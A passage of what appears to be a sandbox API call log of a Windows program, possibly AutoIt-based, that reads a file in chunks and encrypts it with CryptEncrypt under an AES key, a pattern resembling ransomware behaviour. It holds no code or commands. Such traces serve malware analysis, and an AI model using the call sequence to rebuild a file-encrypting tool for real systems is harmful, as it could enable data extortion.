lpOverlapped=0x0) returned 1 [0026.179] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0026.180] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0026.181] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0026.183] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0026.184] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0026.185] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0026.186] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0026.187] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0026.189] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0026.190] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0026.191] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0026.192] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0026.193] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0026.194] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0026.227] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.236] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.236] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.236] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0026.252] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.252] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.252] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0026.252] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.252] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0026.252] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.252] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.253] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.253] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0026.253] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.253] CryptGetKeyParam (in: hKey=0xe8f40623a0, dwParam=0x7, pbData=0xe8f4064c70, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064c70*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0026.253] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.253] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.253] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.253] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.253] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.253] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.253] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.253] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.253] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.253] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.253] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.253] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.253] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.254] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.254] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.254] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.254] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.254] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.254] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.254] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.254] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.254] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.254] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.254] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.264] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.264] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x100000, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x100000) returned 1 [0026.264] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.264] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.264] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.264] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.264] CharLowerBuffW (in: lpsz="byte[1048577]", cchLength=0xd | out: lpsz="byte[1048577]") returned 0xd [0026.292] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.311] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 1 [0026.311] TranslateMessage (lpMsg=0xe8f3dfe760) returned 0 [0026.311] DispatchMessageW (lpMsg=0xe8f3dfe760) returned 0x0 [0026.311] Shell_NotifyIconW (dwMessage=0x1, lpData=0xe8f3dfdd90) returned 1 [0026.312] KillTimer (hWnd=0x3002c, uIDEvent=0x1) returned 1 [0026.312] SetTimer (hWnd=0x3002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0026.312] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.312] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.312] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.323] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0026.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0xe8f417ab40, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0026.325] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptEncrypt") returned 0x7ffe2a5cb720 [0026.327] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe8f6439040*, pdwDataLen=0xe8f3dfdf68*=0x100000, dwBufLen=0x100000 | out: pbData=0xe8f6439040*, pdwDataLen=0xe8f3dfdf68*=0x100000) returned 1 [0026.329] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.329] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.329] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.365] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.365] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.365] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.365] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.365] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.365] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.365] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.366] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.366] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.366] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.366] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.366] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.366] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.366] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.448] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.448] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.448] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.469] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.469] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.469] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.487] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.487] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.487] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.487] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0026.488] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.488] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.488] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0026.488] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.488] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0026.488] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.488] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.488] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.488] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0026.488] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.488] CryptGetKeyParam (in: hKey=0xe8f40623a0, dwParam=0x7, pbData=0xe8f4064ae0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064ae0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0026.488] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.488] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.488] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.488] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.488] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.488] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.488] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.488] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.488] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.488] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.488] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.488] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.488] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.489] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.489] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.489] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.489] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.489] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.489] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.489] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.489] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.489] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.489] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.489] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.491] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.491] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x13f58, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x13f60) returned 1 [0026.491] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.491] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.491] PeekMessageW (in: 